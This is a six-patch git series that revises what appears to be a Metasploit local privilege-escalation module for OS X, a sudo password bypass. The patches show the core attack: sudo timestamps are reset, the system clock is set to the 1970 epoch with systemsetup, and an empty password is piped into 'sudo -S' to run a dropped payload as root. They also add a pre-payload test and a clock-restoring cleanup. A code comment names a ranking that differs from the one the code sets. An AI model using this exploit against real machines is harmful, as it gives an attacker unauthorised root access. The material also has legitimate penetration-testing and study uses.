From 453247430968ecbfba6e8eb6bc9df295d27eff30 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 09:47:40 -0500 Subject: [PATCH 1/6] Allow cleanup from the new session --- .../osx/local/sudo_password_bypass.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index b73c2afbffbc..a2a653b84d2e 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -49,7 +49,7 @@ def initialize(info={}) ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], - 'SessionTypes' => [ 'shell', 'meterpreter'], + 'SessionTypes' => [ 'shell' ], 'Targets' => [ [ 'Mac OS X x86 (Native Payload)', { @@ -153,12 +153,12 @@ def exploit end def cleanup - do_cleanup_once + do_cleanup_once(session) super end def on_new_session(session) - do_cleanup_once + do_cleanup_once(session) super end @@ -193,19 +193,21 @@ def run_sudo_cmd print_good output end - def do_cleanup_once + # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup + # from the new privileged session, when called from the on_new_session callback. + def do_cleanup_once(session) return if @_cleaned_up @_cleaned_up = true print_status("Resetting system clock to original values") if @time - cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? + session.shell_command_token("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? + session.shell_command_token("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? + session.shell_command_token("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? if @networked - cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") + session.shell_command_token("#{SYSTEMSETUP_PATH} -setusingnetworktime On") unless @network_server.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") + session.shell_command_token("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") end end From 832fa8838b9360b54966f5e658a6ad21244567d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 09:57:33 -0500 Subject: [PATCH 2/6] Change the command to launch after background the payload job --- modules/exploits/osx/local/sudo_password_bypass.rb | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index a2a653b84d2e..5a90b9d62e5f 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -113,7 +113,6 @@ def exploit else # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") - print_status("Saving system clock config...") # drop the payload (unless CMD) if using_native_target? @@ -124,16 +123,12 @@ def exploit print_status("Payload dropped and registered for cleanup") end - print_status("Executing: #{SYSTEMSETUP_PATH} -gettime") + print_status("Saving system clock config...") @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] - print_status("Executing: #{SYSTEMSETUP_PATH} -getdate") @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] - print_status("Executing: #{SYSTEMSETUP_PATH} -getusingnetworktime") @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) - print_status("Executing: #{SYSTEMSETUP_PATH} -gettimezone") @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] @network_server = if @networked - print_status("Executing: #{SYSTEMSETUP_PATH} -getnetworktimeserver") cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] end @@ -172,7 +167,7 @@ def run_sudo_cmd end ## to prevent the password prompt from destroying session - sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & sleep 5' + sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' print_status("Executing: sudo -k; \n"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ From 480794a9abda71de796bc8888434bff47df1371c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 10:40:08 -0500 Subject: [PATCH 3/6] Make small fixes --- modules/exploits/osx/local/sudo_password_bypass.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 5a90b9d62e5f..76c91b4635f7 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -169,23 +169,21 @@ def run_sudo_cmd ## to prevent the password prompt from destroying session sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' - print_status("Executing: sudo -k; \n"+ - "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ - " -settimezone GMT -settime 00:00") + print_status("Resetting user's time stamp file and setting clock to the epoch") cmd_exec( "sudo -k; \n"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ " -setdate 01:01:1970 -settime 00:00" ) - print_good "Running: " - print sudo_cmd + "\n" + print_status "Running command: " + print_line sudo_cmd output = cmd_exec(sudo_cmd) if output =~ /incorrect password attempts\s*$/i fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") end - print_good output + #print_good output end # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup @@ -206,7 +204,7 @@ def do_cleanup_once(session) end end - print_success("Completed clock reset.") if @time + print_good("Completed clock reset.") if @time end # helper methods for accessing datastore From ab293d2ad9a899c8ee5971d01be1d9c20cb29c58 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 10:51:19 -0500 Subject: [PATCH 4/6] Make msftidy happy --- modules/exploits/osx/local/sudo_password_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 76c91b4635f7..47d4b5382f50 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -74,7 +74,7 @@ def initialize(info={}) 'DisclosureDate' => 'Feb 28 2013' )) register_advanced_options([ - OptString.new('TMP_FILE', + OptString.new('TMP_FILE', [true,'For the native targets, specifies the path that '+ 'the executable will be dropped on the client machine.', '/tmp/./'] From 3ce23ffb49cd30f944e85ac493c28198e8cbad98 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 11:20:47 -0500 Subject: [PATCH 5/6] Make a test before running the payload --- .../osx/local/sudo_password_bypass.rb | 39 +++++++++++++------ 1 file changed, 27 insertions(+), 12 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 47d4b5382f50..e7468097bd73 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -160,6 +160,31 @@ def on_new_session(session) private def run_sudo_cmd + + print_status("Resetting user's time stamp file and setting clock to the epoch") + cmd_exec( + "sudo -k; \n"+ + "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ + " -setdate 01:01:1970 -settime 00:00" + ) + + # Run Test + test = rand_text_alpha(4 + rand(4)) + sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ') + + print_status("Executing test...") + output = cmd_exec('echo "" | ' + sudo_cmd_test) + + if output =~ /incorrect password attempts\s*$/i + fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") + elsif output =~ /#{test}/ + print_good("Test executed succesfully. Running payload.") + else + print_error("Unknown fail while testing, trying to execute the payload anyway...") + end + + + # Run Payload sudo_cmd_raw = if using_native_target? ['sudo', '-S', [drop_path].shelljoin].join(' ') elsif using_cmd_target? @@ -167,23 +192,13 @@ def run_sudo_cmd end ## to prevent the password prompt from destroying session + ## backgrounding the sudo payload in order to keep both sessions usable sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' - print_status("Resetting user's time stamp file and setting clock to the epoch") - cmd_exec( - "sudo -k; \n"+ - "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ - " -setdate 01:01:1970 -settime 00:00" - ) - print_status "Running command: " print_line sudo_cmd output = cmd_exec(sudo_cmd) - if output =~ /incorrect password attempts\s*$/i - fail_with(Exploit::Failure::NotFound, - "User has never run sudo, and is therefore not vulnerable. Bailing.") - end - #print_good output + end # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup From b13d3570009ac1ae03da619ed13c72c8d470734e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 11:35:35 -0500 Subject: [PATCH 6/6] Add ranking --- modules/exploits/osx/local/sudo_password_bypass.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index e7468097bd73..c1ec3f3b6f5f 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -8,6 +8,12 @@ require 'shellwords' class Metasploit3 < Msf::Exploit::Local + + # ManualRanking because it's going to modify system time + # Even when it will try to restore things, user should use + # it at his own risk + Rank = NormalRanking + include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE